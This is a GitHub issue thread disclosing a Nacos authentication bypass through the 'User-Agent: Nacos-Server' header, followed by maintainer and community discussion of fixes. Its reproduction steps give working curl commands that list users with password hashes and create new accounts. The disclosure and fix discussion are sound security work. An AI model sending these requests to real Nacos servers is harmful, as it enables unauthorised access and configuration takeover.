Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Report a security vulnerability in nacos to bypass authentication #4593

Closed
threedr3am opened this issue Dec 29, 2020 · 64 comments
Closed

Report a security vulnerability in nacos to bypass authentication #4593

threedr3am opened this issue Dec 29, 2020 · 64 comments
Labels
kind/bug Category issues or prs related to bug.
Milestone

Comments

@threedr3am
Copy link

threedr3am commented Dec 29, 2020

------------------------------------ english

Hello, my name is threedr3am. I found a security loophole in nacos authentication bypass. After nacos turns on authentication, you can still bypass authentication and access any http interface.

By default, nacos needs to modify the application.properties configuration file or add the JVM startup variable -Dnacos.core.auth.enabled=true to enable the authentication function (reference: https://nacos.io/en-us/docs/auth.html)

But after turning on the authentication, I found that in the code, the authentication can still be bypassed under certain circumstances and any interface can be called. Through this vulnerability, I can bypass the authentication and do:

Call the add user interface, add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test), and then use the newly added user to log in to the console to access, modify, and add data.

1. Vulnerability details

The main sources of vulnerabilities are:

com.alibaba.nacos.core.auth.AuthFilter#doFilter

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
        throws IOException, ServletException {
    
    if (!authConfigs.isAuthEnabled()) {
        chain.doFilter(request, response);
        return;
    }
    
    HttpServletRequest req = (HttpServletRequest) request;
    HttpServletResponse resp = (HttpServletResponse) response;
    
    String userAgent = WebUtils.getUserAgent(req);
    
    if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
        chain.doFilter(request, response);
        return;
    }
    
    ...
}

As you can see, there is an if judgment statement here. It judges that userAgent (http header-UserAgent) starts with the Constants.NACOS_SERVER_HEADER string (Nacos-Server) and skips any subsequent authentication.

According to my guess, the code here should be used to call nacos' http interface for some services in the intranet without authentication, but when I checked the official document, there was no explanation about this, and I checked the authentication When the authorization-related documents (https://nacos.io/en-us/docs/auth.html), it only describes how to enable authentication and the consequences of not enabling authentication.

But because of this, the user will think that through the configuration described in the authentication document, the nacos can be used safely after the authentication is configured, but because the UserAgent here is bypassed, the authentication is useless.

This is the importance of secure by default.

2. the scope of the vulnerability

Scope of influence:

  1. 2.0.0-ALPHA.1
  2. 1.x.x

3. Vulnerability recurrence

  1. Access user list interface
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

As you can see, the authentication is bypassed and the user list data is returned

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}
  1. Add new user
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'

As you can see, authentication has been bypassed and new users have been added

{
    "code":200,
    "message":"create user ok!",
    "data":null
}
  1. View the user list again
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

As you can see, in the returned user list data, there is one more user we created by bypassing authentication.

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}
  1. Visit the homepage http://127.0.0.1:8848/nacos/, log in to the new account, and you can do anything

4. repair suggestions

  1. By default, if authentication is enabled, the default UserAgent: Nacos-Server request should not be allowed to bypass authentication
  2. The description of the relevant UserAgent: Nacos-Server request to bypass authentication should be added to the document

------------------------------------ 中文

你好,我是threedr3am,我发现了一个nacos的认证绕过安全漏洞,在nacos开启了鉴权后,依然能绕过鉴权访问任何http接口。

在默认情况下,nacos需要通过修改application.properties配置文件或添加JVM启动变量-Dnacos.core.auth.enabled=true即可开启鉴权功能 (参考:https://nacos.io/en-us/docs/auth.html)

但在开启鉴权后,我发现代码中,任然可以在某种情况下绕过认证,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:

调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。

一、漏洞详情

漏洞主要根源在于:

com.alibaba.nacos.core.auth.AuthFilter#doFilter

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
        throws IOException, ServletException {
    
    if (!authConfigs.isAuthEnabled()) {
        chain.doFilter(request, response);
        return;
    }
    
    HttpServletRequest req = (HttpServletRequest) request;
    HttpServletResponse resp = (HttpServletResponse) response;
    
    String userAgent = WebUtils.getUserAgent(req);
    
    if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
        chain.doFilter(request, response);
        return;
    }
    
    ...
}

可以看到,此处有一个if判断语句,它判断了userAgent(http header - UserAgent)只要是以Constants.NACOS_SERVER_HEADER字符串(Nacos-Server)开头,则跳过后续的任何鉴权

据我猜测,该处代码应该是为了给内网中某些服务无需鉴权地调用nacos的http接口,但我在查看官方文档时,无任何一处对此作了说明,并且我通过查看鉴权相关文档时(https://nacos.io/en-us/docs/auth.html),它只描述了如何开启鉴权,以及不开启鉴权的后果。

但正是如此,使用者会认为,通过该鉴权文档描述的配置,配置鉴权之后就能安全使用nacos,结果却因为此处的UserAgent绕过,鉴权形同虚设。

这正是secure by default的重要性。

二、漏洞影响范围

影响范围:

  1. 2.0.0-ALPHA.1
  2. 1.x.x

三、漏洞复现

  1. 访问用户列表接口
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

可以看到,绕过了鉴权,返回了用户列表数据

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}
  1. 添加新用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'

可以看到,绕过了鉴权,添加了新用户

{
    "code":200,
    "message":"create user ok!",
    "data":null
}
  1. 再次查看用户列表
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}
  1. 访问首页http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情

四、修复建议

  1. 默认情况下,如果开启了鉴权,应该不允许默认 UserAgent: Nacos-Server 请求可以绕过鉴权
  2. 文档中应该加入相关 UserAgent: Nacos-Server 请求绕过鉴权的描述

regards,
threedr3am

@Maijh97 Maijh97 added kind/bug Category issues or prs related to bug. kind/research labels Dec 30, 2020
@KomachiSion
Copy link
Collaborator

该agent用于服务间通信鉴权白名单, 既然是白名单模式,就必然是忽略鉴权。 由于是服务端之间使用,就是不推荐用户直接使用,因此不会在文档进行描述。

你这个问题就像nacos的默认管理员密码是nacos一样,因此你的修复建议无法采纳。

当然如果有更好的,不影响性能且不影响服务端间通信的修复方案,欢迎提出。

@KomachiSion KomachiSion added status/wontfix This will not be worked on and removed kind/bug Category issues or prs related to bug. kind/research labels Dec 30, 2020
@threedr3am
Copy link
Author

这个忽略鉴权,最大的问题是,没有在文档说明,对于大部分使用者来说,根本不知道会存在这样的一个机制(不看源码都不知道),虽说不推荐用户使用,但是这个机制默认就已经存在,等于是在用户毫不知情的情况下使用了,用户都不知道,何谈推荐不推荐呢。

我认为这个问题和nacos的默认密码是不一样的,用户在看到鉴权相关文档后,他自知自己开启了认证鉴权模式,那么,很大概率就知道需要修改账号密码(难道不是吗,账号密码我都不知道,我开启鉴权如何登陆控制台)。

我的修复建议是:

  1. 默认关闭该机制,需要人工开启
  2. 文档增加该方面的说明,并且建议“对于非服务间的通讯,过滤掉UserAgent Http header”

@KomachiSion
Copy link
Collaborator

对于如何判断非服务间的通讯 有方法吗? 如果能够判断服务间通信, 那我们也不用搞UserAgent了

@KomachiSion
Copy link
Collaborator

这个忽略鉴权,最大的问题是,没有在文档说明,对于大部分使用者来说,根本不知道会存在这样的一个机制(不看源码都不知道),虽说不推荐用户使用,但是这个机制默认就已经存在,等于是在用户毫不知情的情况下使用了,用户都不知道,何谈推荐不推荐呢。

我认为这个问题和nacos的默认密码是不一样的,用户在看到鉴权相关文档后,他自知自己开启了认证鉴权模式,那么,很大概率就知道需要修改账号密码(难道不是吗,账号密码我都不知道,我开启鉴权如何登陆控制台)。

我的修复建议是:

  1. 默认关闭该机制,需要人工开启
  2. 文档增加该方面的说明,并且建议“对于非服务间的通讯,过滤掉UserAgent Http header”

本来就不是给用户用的而是自己内部使用的机制,在使用文档上说明不妥。用户不知道才是正确的。

@KomachiSion KomachiSion added the kind/discussion Category issues related to discussion label Dec 31, 2020
@KomachiSion
Copy link
Collaborator

KomachiSion commented Dec 31, 2020

欢迎社区提供方案:
方案如果能解决这个问题,并且满足下列条件

  1. 不能影响服务端之间通信
  2. 不能有太大的性能损耗
  3. 低版本能够平滑过渡

社区非常愿意接受。

@KomachiSion KomachiSion added contribution welcome and removed status/wontfix This will not be worked on labels Dec 31, 2020
@KomachiSion
Copy link
Collaborator

我想到一个方法,即能勉强解决问题,又不影响现有机制。

当前这个识别是通过User-Agent 是Nacos-Server来判断,比较固定。如果修改成key和value都由用户配置是不是就好了。默认还是User-Agent 是Nacos-Server。 如果有用户非要放外网环境,就让他自己设置这个内容。 key value都是他自己设置的。只有设置的人和正确设置的服务端能跳过鉴权。这样对内网环境用户升级就没有影响。继续用默认即可。

@threedr3am
Copy link
Author

你的解决方式类似Http Basic Authentication,确实可行。建议当设置了用户自定义的key value后,默认的失效,而用户不自定义的话,就使用默认的User-Agent: Nacos-Server

还有,其实我觉得最重要的是让用户(指的是使用nacos的开发维护人员)知道有这个机制。

@KomachiSion
Copy link
Collaborator

你的解决方式类似Http Basic Authentication,确实可行。建议当设置了用户自定义的key value后,默认的失效,而用户不自定义的话,就使用默认的User-Agent: Nacos-Server

还有,其实我觉得最重要的是让用户(指的是使用nacos的开发维护人员)知道有这个机制。

如果采用这种方式, 这个kv对的数量需要讨论下, 是只允许有一对,还是可以有多种。

目前想法是只有一对,User-Agent: Nacos-Server只是一个缺醒值,用户设置的话就覆盖掉了。

@threedr3am
Copy link
Author

你的解决方式类似Http Basic Authentication,确实可行。建议当设置了用户自定义的key value后,默认的失效,而用户不自定义的话,就使用默认的User-Agent: Nacos-Server
还有,其实我觉得最重要的是让用户(指的是使用nacos的开发维护人员)知道有这个机制。

如果采用这种方式, 这个kv对的数量需要讨论下, 是只允许有一对,还是可以有多种。

目前想法是只有一对,User-Agent: Nacos-Server只是一个缺醒值,用户设置的话就覆盖掉了。

我认为一对可行,若是多对kv的话,说不定可以给企业用户带来更好的自定义扩展

@w2n1ck
Copy link

w2n1ck commented Jan 11, 2021

后台应该还有类似的问题的其他接口,比如:
image
image

@ldbfpiaoran
Copy link

后台应该还有类似的问题的其他接口,比如:
image
image

尴尬不~~~~~~~~~~

@coffeehb
Copy link

image
NACOS1.1.4 fu x复现失败

@threedr3am
Copy link
Author

image
NACOS1.1.4 fu x复现失败

鉴权功能应该是1.2.0才开始存在的,https://github.com/alibaba/nacos/releases/tag/1.2.0https://github.com/alibaba/nacos/issues/1105

@coffeehb
Copy link

已经被RCE了,说不是漏洞?

@threedr3am
Copy link
Author

好像这个问题影响还是挺大的,希望早点修复,因为动态配置的修改可能会导致其它的关联服务被入侵,比如spring application.properties里面的jdbc连接被改成恶意地址(h2)等等,会导致关联服务被执行恶意代码

@aqqwiyth
Copy link

公网搜了一下 90+开了公网. RCE+DB密码.... 直接脱库

@KomachiSion
Copy link
Collaborator

#4683 临时处理了一下。
考虑到用户升级,默认开关是打开的,升级完成并设置统一key value后关闭开关后即可。

后续版本再想方案彻底移除吧

@luvletter2333
Copy link

欢迎社区提供方案:
方案如果能解决这个问题,并且满足下列条件

  1. 不能影响服务端之间通信
  2. 不能有太大的性能损耗
  3. 低版本能够平滑过渡

社区非常愿意接受。

ip白名单机制?

@lexburner
Copy link
Contributor

这种安全话题不适合公开讨论吧,nacos 没有 security 的 mailing list 吗?

@snaigle
Copy link

snaigle commented Jan 14, 2021

ua 可以搭配ip白名单来使用,默认不配置ip白名单
只有用户明确配置IP白名单的话ua才会生效,比kv 认证要好一些

@BloodmageThalnos
Copy link

提一点,作为微服务框架这种平台性的东西,安全上最基本应当做到的就是”互不信任原则“,任何微 服务之间都应当假设彼此是不可信任的。这个公网内网没有任何关系。举个最简单的例子,如果平台上的一个低危低权服务出现rce漏洞或被实习生利用,是否整个平台上的服务都要跟着遭殃?

@Cat7373
Copy link

Cat7373 commented Jan 14, 2021

配合知道创宇端口扫描效果极佳,果然无聊的人不止我一个,在我眼皮子底下这台服务器就中招了,多了个用户

知道创宇总共搜出来了 800 多台 Nacos 服务器,提前默哀

@threedr3am threedr3am changed the title Report a security vulnerability in nacos to bypass authentication Test Jan 14, 2021
@GalvinGao
Copy link

严重同意@threedr3am 的观点,赶紧给删除或者脱敏。
目前安全公司已经全面向各公司曝出此漏洞,这个issue又教科书式的讲解如何进行复现。存在很大的风险:
1、@yanlinly 观点说不要暴露公网,即使在内网也不排除有内部员工,进行一些破坏性的操作导致配置被修改、业务不可用,且不可追溯作案人员,存在很大的潜在风险;
2、目前阿里的fastjson长期处于安全防护的重灾区,为此已投入了不少的整改成本;
3、目前国际形式惟恐不出安全问题,希望阿里大神们予以重视。

@KomachiSion @yanlinly 麻烦项目管理员帮忙把issue内容进行一个删除

安全问题不会因为删除而消失,只会因为删除而让受害者连排查问题都不知道从何做起、同时给能拿到0day漏洞的人更多可乘之机和提供更多信息不对等的机会。最好的方案是赶快发布漏洞声明、提交CVE、发布修复版本、利用github的security功能通知更多的使用者,而不是删除问题本身...

@threedr3am
Copy link
Author

严重同意@threedr3am 的观点,赶紧给删除或者脱敏。
目前安全公司已经全面向各公司曝出此漏洞,这个issue又教科书式的讲解如何进行复现。存在很大的风险:
1、@yanlinly 观点说不要暴露公网,即使在内网也不排除有内部员工,进行一些破坏性的操作导致配置被修改、业务不可用,且不可追溯作案人员,存在很大的潜在风险;
2、目前阿里的fastjson长期处于安全防护的重灾区,为此已投入了不少的整改成本;
3、目前国际形式惟恐不出安全问题,希望阿里大神们予以重视。

@KomachiSion @yanlinly 麻烦项目管理员帮忙把issue内容进行一个删除

安全问题不会因为删除而消失,只会因为删除而让受害者连排查问题都不知道从何做起、同时给能拿到0day漏洞的人更多可乘之机和提供更多信息不对等的机会。最好的方案是赶快发布漏洞声明、提交CVE、发布修复版本、利用github的security功能通知更多的使用者,而不是删除问题本身...

受教了

@threedr3am threedr3am changed the title Test Report a security vulnerability in nacos to bypass authentication Jan 14, 2021
@threedr3am threedr3am reopened this Jan 14, 2021
@xuanbg
Copy link

xuanbg commented Jan 14, 2021

服务间需要访问的那几个接口,做个url白名单不就解决了吗?何至于要用这种完全不可控的方法去bypass。。。

@KomachiSion KomachiSion added kind/bug Category issues or prs related to bug. and removed contribution welcome kind/discussion Category issues related to discussion labels Jan 15, 2021
@KomachiSion KomachiSion added this to the 1.4.1 milestone Jan 15, 2021
@KomachiSion
Copy link
Collaborator

1.4.1已经发布,可以参考文档进行开启https://nacos.io/zh-cn/docs/auth.html

issue将关闭。

@Ramos-dev
Copy link

欢迎社区提供方案:
方案如果能解决这个问题,并且满足下列条件

  1. 不能影响服务端之间通信
  2. 不能有太大的性能损耗
  3. 低版本能够平滑过渡

社区非常愿意接受。
1.4.1版本的实现虽然简单,但是并不符合安全设计的原则。

  • 默认安全 存在默认的SecretKey,且jwttoken失效时间5小时,而阿里云上的其他产品是默认一个小时
  • 纵深防御
  1. 使用简单的ba token认证,且没有采用https
  2. 认证的仅限账户密码,没有加密body体完整性签名,不能防止篡改,重放,伪冒,抵赖
  3. 将accesstoken通过get参数,有accesslog泄露的风险
  • 最小权限 没有区分认证和授权两件事,全部集群一个口令,凭据泄露后也没有密钥轮换机制
  • 审计 没有对凭据调用情况进行详细的日志记录

zema1 pushed a commit to chaitin/xray that referenced this issue Jan 18, 2021
@yankunsam
Copy link

升级后报错

ERROR com.alibaba.nacos.client.naming - [NA] failed to update serviceName: DEFAULT_GROUP@@providers:com.helian.healthmanage.biz.mix.api.third.TaskDingdingMsgService:1.0.0:
com.alibaba.nacos.api.exception.NacosException: failed to req API:/nacos/v1/ns/instance/list after all servers([nacos:8848]) tried: ErrCode:403, ErrMsg:

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Wed Mar 24 10:23:00 CST 2021
There was an unexpected error (type=Forbidden, status=403).
unknown user!

@threedr3am
Copy link
Author

threedr3am commented May 29, 2021

@westcows00481
Copy link

严重同意@threedr3am 的观点

  1. 微服务架构不同微服务之间本身就是互不信任的,不能说内网就不需要考虑安全问题。
  2. 针对外部黑客: 内网某台宿主机被攻破, 作为跳板机, 你这整个应用都裸露在外面了。
  3. 针对内鬼:防不慎防
  4. 另外,发现屏蔽这个开关后, 微服务应用无法启动。

@laxorg
Copy link

laxorg commented Oct 20, 2021

nacos 用户表设置为只读表了,用户就创建失败了,是不是就能解决这个问题了?
------------------上面是上午进行的实验, 结果mysql只能锁定当前的会话,会话结束后仍然能够复现--------
午饭时想到一个类似的解决办法,在mysql数据库表中新建一个非空列,执行此命令时无法创建新用户,此问题得到了解决
image

@nobdy
Copy link

nobdy commented Dec 24, 2021

截止目前 Nacos 还存在一个重要的信息没有明显的写进部署文档,相关文档参考 https://zhuanlan.zhihu.com/p/349905688 中提到的以下配置:

nacos.core.auth.server.identity.key=aaa
nacos.core.auth.server.identity.value=bbb

这些配置在 Nacos 会有默认的值,只要知道默认配置就可以查看所有配置了。刚找到默认配置并在当前最新的 docker 镜像版本 v2.0.3 试了一下,确实可以成功获取配置。

可以考虑的解决方法:
从 Nacos 的实现看,一种禁用 identity 的方法是将这两个配置项设置为空,但这样的结果是 Nacos 将会拒绝任何请求,Nacos 就无法正常使用了;第 2 种方法是将 identity 设置为复杂的随机字符串。如果我们是用 Nacos 的 docker 镜像部署的,无法修改 Nacos 的代码,这时可能第 2 种解决方法会合适一些。

@SeaAndHillMe
Copy link

赞,i am coming

@Tiamtiam
Copy link

Tiamtiam commented Sep 7, 2022

nacos支持ip白名单么

@Cat7373
Copy link

Cat7373 commented Sep 7, 2022

nacos支持ip白名单么

用防火墙其实可以自己实现

@safesaffawa
Copy link

修复个毛线,阿里建议你购买企业版。

林子大了什么鸟都有 活久见

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
kind/bug Category issues or prs related to bug.
Projects
None yet
Development

No branches or pull requests